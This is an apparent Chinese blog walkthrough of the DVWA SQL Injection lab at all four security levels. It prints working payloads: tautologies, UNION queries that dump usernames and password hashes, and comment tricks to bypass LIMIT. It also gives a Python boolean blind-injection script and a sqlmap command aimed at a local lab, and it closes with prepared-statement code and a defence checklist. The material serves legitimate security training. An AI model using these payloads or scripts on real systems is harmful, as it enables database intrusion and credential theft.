DVWA(Damn Vulnerable Web Application)的SQL Injection关卡,是我当年第一次真正理解"数据库查询还能这么被玩"的入门练习。这个靶场的精妙之处在于:它把同一个SQL注入漏洞,用四个安全级别喂到你面前,让你从Low级别的"裸奔注入"一路进化到理解High级别的盲注对抗,最后在Impossible级别看到正规应用应该怎么写SQL。这篇博文不打算像某些教程那样只丢payload截图,而是把每一关的判定逻辑、语句变化、绕过原理都拆开讲清楚,顺便记录我打靶时踩过的一些坑。适合刚学完SQL基础、准备系统性刷Web漏洞靶场的朋友,也适合在DVWA上卡在Medium或High级、查了半天教程却还是知其然不知其所以然的同学。
1. 开打之前:DVWA的SQL注入关卡到底在考察什么
先聊清楚要打的靶是什么,别急着上来就输入那一堆payload。
1.1 四个级别对应着四个防御思路
DVWA的每个漏洞模块都分Low、Medium、High、Impossible四个等级。对SQL Injection这个模块来说,这四个等级实际上就是四份不同质量的查询代码,每一份都代表了一种真实世界里见过的编码姿势:
- Low:直接拼接用户输入,连引号都不处理,是教科书级别的反例。
- Medium:用
mysqli_real_escape_string对输入做了转义,但查询语句里没有给变量加引号,于是转义函数形同虚设。 - High:给查询加了个
LIMIT 1,又把用户输入先存进session再取出来,增加了注入路径的迷惑性。 - Impossible:使用PDO预处理语句配合参数绑定,从根上杜绝了拼接注入。
这四级设计,本质上是在模拟一个团队从不设防到逐步打补丁、再到彻底重构查询逻辑的真实过程。打靶的时候别急着奔着通关去,边打边留意每个级别的代码差异,收获会大得多。
1.2 动手前的三个热身问题
开始注入之前,我建议你先确认三件事:
第一,你登录DVWA后当前的安全级别选的是哪个?每换一个级别,建议退出重登或清一下Cookie,避免旧会话的security值干扰后面的关卡。
第二,你用的是浏览器自带开发者工具,还是Burp Suite?如果你打算打High级别,Burp最好提前配好,因为High关卡的注入口在POST参数里,而且会先写入session,直接改地址栏很别扭。
第三,你清楚MySQL里information_schema这个库是干什么的吗?它是MySQL的元数据库,所有表结构、字段名的信息都存里面,后续UNION注入和盲注都要用到它。
这三个问题看着基础,但不少新手栽跟头就栽在环境没确认清楚上。尤其是第一个,很多人打完Low切到Medium时页面没变化,其实是Cookie里的安全级别没刷新,导致白白折腾半天。
1.3 注入类型判断:字符型还是数字型?
SQL注入最基础的分法就是字符型和数字型。判断依据很简单:如果后端把变量放在单引号里拼接,那就是字符型,你需要先想办法把前面的单引号闭合掉,让后面的内容变成可执行的SQL代码;如果后端直接把变量当数字用,那就是数字型,连引号都不用闭合,直接写条件就行。
一个常见的练习方法:提交一个英文单引号',如果页面报SQL语法错误或者出现异常,说明输入被拼进了SQL语句,而且大概率是字符型。如果页面显示了完整的SQL错误信息,你就知道有戏。DVWA的Low级别甚至会在报错页面里把完整的SQL语句回显出来,这是靶场给新手最大的礼包,千万别跳过这一步,很多人直接输payload过关,反而错过了观察SQL拼接结构的最好机会。
2. Low级别:字符型手工注入的完整动作拆解
2.1 第一步永远是用单引号试探边界
Low级别的查询语句大概是这样的(DVWA 1.9时期版本的做法):
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";注意看,变量$id被放在一对单引号里。整个SQL的逻辑是:把我传的user_id当字符串,精确匹配用户表里的记录。
我第一次打的时候,直接在输入框里敲了一个',页面立刻炸出一段SQL错误信息。报错里能清楚地看到拼接后的完整语句变成了:
SELECT first_name, last_name FROM users WHERE user_id = ''';多出来的那个单引号破坏了SQL的结构,MySQL不知道拿这个尾巴怎么办,只能报错。这个报错就是最有价值的信号:引号没有被过滤,单引号是可控的,而且原查询确实是字符型拼接。如果你提交'后页面毫无反应,那多半是输入被过滤了,或者根本没进SQL。
2.2 用永真条件让整条SQL"短路"
既然可控,那就想办法让查询条件永远为真。经典的payload是:
1' or '1'='1拼进原查询后,整条语句变成:
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';SQL里的or优先级虽然低于and,但这里根本没有and,所以or后面的'1'='1'恒真。后端看到条件为真,就把users表里所有用户的first_name和last_name全部查出来了。页面上会一口气列出所有注册用户的姓名,而不是只有ID=1这一条。
这一步的意义在于验证:我不光能破坏SQL的语法,还能控制它的执行结果。到了这一步,Low关卡的"核心开关"就算打开了,后面UNION注入只是把数据换成更敏感的内容。
2.3 UNION注入:确定列数、摸清回显位置
UNION注入的核心是先让前面查询结果为空,再用union把自己的查询结果拼上去。但UNION有个硬性要求:前后两个查询的列数必须一致。所以第一步是探测目标查询有几列。
我习惯用order by探测。比如输入:
1' order by 2#正常返回ID为1的用户,因为order by 2表示按第二列排序,查询本身没问题。如果改成order by 3,MySQL会报Unknown column '3' in 'order clause',说明当前的SELECT查询只有2列。通过不断调整数字,就能确定列数。
确定列数后,用UNION占位:
999' union select 1,2#这里的关键技巧是让前置查询结果为空。我用id=999这个不存在的ID,第一个SELECT返回空集,UNION的结果自然就只剩第二个SELECT的字段。页面上会显示First name: 1,Surname: 2。这两个数字出现在哪里,哪里就是回显位置。如果某个位置没回显,你的UNION就是盲的,后面只能走盲注路线。
在Low级别拿到查询权限之后,可以用的payload已经非常多了,我列几个最常用的:
| 目标 | Payload |
|---|---|
| 数据库版本 | 999' union select null, version()# |
| 当前数据库名 | 999' union select null, database()# |
| 当前数据库用户 | 999' union select null, user()# |
| 列出所有表名 | 999' union select null, table_name from information_schema.tables where table_schema=database()# |
| 读取users表的数据 | 999' union select group_concat(user_id,0x3a,user), group_concat(password) from users# |
这里有个容易踩的坑:UNION的列数不匹配会直接报错。如果你把列数写成1或者3,页面会提示The used SELECT statements have a different number of columns,这时候别慌,把列数换成2就对了。我在实际练习中还发现,很多人喜欢用1' and 1=0 union select 1,2#来置空前查询,本质上和999'是一样的效果,只不过恒假条件在课程教学里更容易讲明白,实际打靶时怎么顺手怎么来。
3. Medium级别:数字型注入与"看似有防护"的转义函数
3.1 从界面上看Medium和Low的差异
进入Medium关卡后,你会发现页面不再是一个普通输入框,而是变成了下拉选择框,里面只有1到5的选项。前端看起来人畜无害,好像只能选择合法的ID。
我当时的第一反应是"这波防护总该有点用了吧",然后直接抓包看了一眼请求,发现Web应用把ID放在了POST参数里,后端函数处理过的数据,我用Burp Suite改一个不存在的6,甚至改成一个SQL语句,前端根本管不着。
前端限制从来不是安全边界,这是Web安全的第一课。下拉框只是用户体验,不是防护。很多人被这个假象唬住,以为服务器也会像前端一样只允许1到5,这就太低看攻击者了——服务器只会相信你发过去的参数,不会关心浏览器UI长什么样。
3.2 mysqli_real_escape_string的转义盲区
Medium级别后端代码大致是(DVWA 1.9版本示意):
$id = mysqli_real_escape_string($conn, $_POST['id']); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";它确实调用了mysqli_real_escape_string,这个函数会把输入中的单引号、双引号、反斜杠等字符加上反斜杠转义。比如输入1',经过转义后变成1\',单引号就失去了闭合SQL的作用。
但问题来了:注意查询语句里$id外面没有加引号。也就是说,这是一个数字型注入场景。而mysqli_real_escape_string转义的那点东西,在数字型场景下根本用不上,因为数字型注入不需要破坏引号——SQL直接把我的输入当作数字值拼接进去了。
所以你只需要输入:
1 or 1=1查询就会变成:
SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1;条件恒真,所有用户的数据再次全部暴露。整个过程根本没用到单引号,转义函数像空气一样透明。这就是Medium关卡最讽刺的地方:它做了一层防护,但这层防护恰好护错了位置。
3.3 Burp Suite改包注入实操
用Burp改包的方式很简单:把DVWA请求代理到127.0.0.1:8080,提交一次下拉选择,抓到POST请求。请求体大概长这样:
id=2&Submit=Submit然后右击发送到Repeater,把id参数改成payload。我实测一个比较稳妥的验证方式是:
id=1 union select null, version()&Submit=Submit如果页面上显示出了MySQL版本号,说明UNION注入在Medium级别依然有效。Medium级别里页面上会有User ID: 1这样的回显,只要你输入的内容被拼进SQL并控制了结果,回显逻辑跟Low一模一样。
顺带提一个操作细节:DVWA的Medium关卡用的是POST方式,你在Burp的Repeater里除了要改id参数,还要注意保留Submit=Submit。有些新手直接把请求体里的参数删剩一个id,结果提交后进去分支不对,页面没反应,还以为是Payload的问题。这种问题排查起来特浪费时间,所以改包时尽量保持原始参数结构,只动需要改的那一个值。
3.4 为什么说Medium的防护是"自我安慰"
事实就是,mysqli_real_escape_string这类转义函数,只对字符型注入有有限的拦截效果,而且就算在字符型场景里也有编码绕过空间。放到数字型场景里,它就像给木门加了一把玻璃锁——看着努力了,实际毫无意义。
这个例子在现实中很有教育意义。很多初学者以为"我用了转义函数就安全了",但实际上转义函数不是万能的,它解决不了查询逻辑本身的结构问题。真正的解法是参数化查询,也就是后面Impossible级别展示的姿势。
在Medium关卡,我还会顺手试一个细节:把POST改成GET,把参数拼到URL上,看后端代码是死板地读$_POST['id']还是兼容两种方式。DVWA这个版本的Medium只认POST,但这个"改请求方式"的小动作在真实渗透里经常能绕过某些WAF规则,值得养成习惯。
4. High级别:LIMIT 1干扰下的三种突破思路
4.1 High级别的防护策略变化
到了High级别,后端的查询语句变成了这样(DVWA 1.9版本示意):
$id = $_SESSION['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";有两点明显的变化:
- 用户提交的id不再直接进入查询,而是先存入
$_SESSION['id'],后端再从session里取出来用。这相当于加了一个"会话中转",避免直接暴露查询入口。 - 查询语句末尾多了一个
LIMIT 1。这个限制很恶心:就算你构造了永真条件让查询匹配到所有用户,MySQL只会返回第一行,之前的1' or '1'='1攻击没法直观地看到全部数据了。
还有一点,High级别页面把SQL的错误回显关闭了,大部分报错只会看到一句干巴巴的Something went wrong.,这意味着想靠报错信息判断语句结构的路子也断了。
我一开始不知道第一步该怎么做,直接提交了一个1' or '1'='1,结果页面只显示ID为1的用户的记录——因为LIMIT 1生效了。数据没爆全,但至少让我确认了注入条件还是成立的。
4.2 思路一:UNION注入加"空集前置"
LIMIT 1虽然限制返回结果的行数,但它限制不了UNION SELECT本身生成的行数。如果我们能让前半个SELECT查不到任何数据,那么UNION后面的结果就只有一行了,LIMIT 1反而帮我们把这一行锁在视野正中央。
经典payload:
999' union select 1,2#这里999是users表里不存在的用户ID,第一个SELECT返回空集,UNION的结果实际上就是第二个SELECT的那一行,LIMIT 1限制不了"只剩一行"的情况。
如果还想更严谨,可以用:
1' and 1=0 union select 1,2#where条件恒假,第一个SELECT一样是空集。页面会直接显示First name: 1、Surname: 2,证明UNION注入在High关卡依然畅通。
再进一步读取数据:
999' union select null, group_concat(user,0x3a,password) from users#注意High关卡里整个UNION的结果只有一行,group_concat刚好可以把users表中所有用户名和密码拼成一行文本,安全地塞进唯一一个回显字段里。这是我打High关卡时最常用的一招,一条SQL就能把整个用户表拖出来,比逐条猜省太多时间。
4.3 思路二:用注释符把LIMIT干掉
如果你不想老是靠"空集前置"这招,另一个思路是直接注释掉后面的LIMIT 1。MySQL支持#和--两种注释写法,其中--后面必须带一个空格。输入:
1' or '1'='1' --拼接出来的完整语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1' -- ' LIMIT 1;从--开始到行尾的内容全部是注释,LIMIT 1被无视了,于是所有用户的姓名重新全部暴露。
这个payload我不知道用过多少次,几乎可以无脑用在各种"后面跟了限制条件"的字符型注入场景里。唯一的注意点是--后面必须保证有空格,或者干脆用#,但#在部分HTTP请求中需要编码成%23,否则可能被当成URL片段截断。DVWA的POST表单里我直接用#没问题,但如果你换到GET接口,记得先对特殊字符做URL编码。
4.4 思路三:手写Python布尔盲注
High级别最值得练习的技能是盲注。因为它不返回错误信息,也没有直观的UNION回显(如果你不打算用Union的"空集前置"),很多时候你只能通过页面是否显示First name来做一个布尔判断——条件为真显示数据,条件为假显示User ID is incorrect。
一个最基础的布尔盲注脚本如下:
import requests url = "http://127.0.0.1/dvwa/vulnerabilities/sqli/" cookies = {"PHPSESSID": "你的会话ID", "security": "high"} chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.@-" result = "" for i in range(1, 32): for c in chars: payload = "1' and substr(database(),%d,1)='%c'#" % (i, c) data = {"id": payload, "Submit": "Submit"} r = requests.post(url, data=data, cookies=cookies) if "First name" in r.text: result += c print(result) break else: break print("database:", result)这个脚本的思路是:逐字符猜当前数据库名。payload里的substr(database(),i,1)会取出数据库名的第i个字符,如果这个字符等于我们猜的那个c,那么and后的条件为真,整个where条件为真,页面就会返回First name;如果不等于,条件为假,页面返回错误提示。通过遍历字符集,就能拼出完整的库名。
跑这个脚本之前,记得把Cookie换成你自己登录后的PHPSESSID。另外,在DVWA中,High级别提交的POST参数需要先写入session才能生效,所以requests.post的data参数里带上id与Submit就够了,不用额外处理session,函数内部会自动通过Cookie保持一致。
实测下来,High关卡用布尔盲注比时间盲注更稳定。因为页面返回速度本来就快,时间盲注受网络波动影响太大,动不动就要加长sleep秒数,跑得慢还不保险。布尔盲注只需要一个"有/无"的页面差异,干净利落。如果你要猜的表数据很多,可以把字符集缩小成数字+小写字母,速度能快一倍。
5. Impossible级别:预处理语句如何把SQL注入连根拔起
5.1 参数化查询的两个关键特征
打到Impossible关卡时,页面交互和之前很类似,但后端代码已经完全是另一个物种了:
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute();这串代码里最关键的是prepare和bindParam。prepare会先把SQL语句的骨架提交给MySQL服务器进行解析,:id只是个占位符;bindParam再把用户输入作为纯数据绑定到占位符上。整个过程里,用户输入永远不会和SQL语句发生字符串层面的拼接,自然也就不存在"闭合引号"这条路了。
打个比方:Low级别的SQL拼接像拿一块白板和一支笔,把用户的话直接写在白板上来"执行命令";而参数化查询是短信模板,用户只能往固定的空档里填内容,填多少都是文字内容,永远成不了指令。这个类比我每次带新人时都要讲一遍,因为它是理解SQL注入防御的钥匙。
5.2 为什么"输入过滤"永远替代不了预处理
很多人会问:既然可能导致注入的字符就那么多,我写个WAF把所有危险字符都拦掉,或者干脆用mysqli_real_escape_string,是不是也一样安全?
问题在于,过滤和转义属于"黑名单思维",你永远没办法穷举所有恶意输入。有些场景下编解码、大小写变形、注释符号、十六进制编码都会让简单的过滤失效。而预处理是"白名单思维"——它从架构上规定了输入只能当数据,不允许脱离数据层。市面上报告的SQL注入漏洞,绝大多数都能追根溯源到某段字符串拼接,极少有参数化查询被直接击穿的案例。
所以Impossible级别不是简单地"加了个防护",而是换了一种查询范式。这个认知,比多记几个payload有用得多。
5.3 从靶场到现实的防御清单
打完DVWA的SQL Injection四个关卡,我建议你把下面的防御清单顺手存下来,以后写代码或做代码审计时对照着用:
- 数据库操作一律使用预处理语句(PDO或MySQLi的prepare/bindParam),禁止直接拼接用户输入。
- 即使是数字型参数,也要绑定参数类型(如
PDO::PARAM_INT),防止类型混淆带来的额外风险。 - 应用层对用户输入要做类型校验和长度校验,但不要把它当作唯一的防线。
- 数据库账号按最小权限分配,查询用户不该有drop、delete等高危权限。
- 开启数据库错误信息的脱敏,生产环境永远不要把底层报错直接输出到页面上。
- 在WAF/网关层做纵深防御,但记得WAF只是第二道防线,不是第一责任方。
顺着DVWA这四个级别的变化,你可以清晰地看到:从裸奔到自我安慰到增加干扰再到架构级防御,这是一个真实的安全建设演进过程。理解这个过程,比单纯通关重要得多。
6. 打完四个关卡的下一步建议
我个人经验是,DVWA只是SQL注入入门的第一个里程碑,别停在"能通关"就沾沾自喜。下一步可以做三件事。
第一,把通关过程中用过的payload整理成一个备忘录,按照"字符型闭合""数字型拼接""UNION列数探测""盲注判断条件"四个维度分类。以后在别的靶场遇到类似关卡,直接照猫画虎就行。我自己的备忘录里每一类后面还会补一句"什么时候该用哪招",比如看见页面报错先判断是不是字符型、看见下拉框先抓包、看见LIMIT就先想到注释符或空集前置。
第二,去刷SQLi-Labs或者Upload-Labs,把同一个原理放到更多变的场景里去重练。SQL注入这东西,看一百遍不如亲手打一遍,尤其是盲注脚本,建议自己从零写一次,别直接抄现成的。SQLi-Labs的题目设计比DVWA更偏"变态",很多关卡会把过滤规则玩出花来,正好拿来检验自己有没有真懂原理。
第三,把所有级别的源代码文件认真读一遍,理解每行防御代码的作用。DVWA在GitHub上开源,源码路径就在dvwa/vulnerabilities/sqli/source/下,看完了你对PHP的SQL查询写法会有更深的体会。我个人很喜欢把四个级别的源码并列摆在一个编辑器里对比,一眼就能看出防御演进的全过程。
最后再分享一个小技巧:在打High级别时,如果不想动手写Python盲注脚本,sqlmap其实也可以配Cookie直接跑,命令大致如下:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=你的会话;security=high" --dbs不过说真的,自动化工具跑出来的结果,远没有你一行行payload手打出来对漏洞理解得深。DVWA这种靶场,多用手,少用工具,才是正确的打开方式。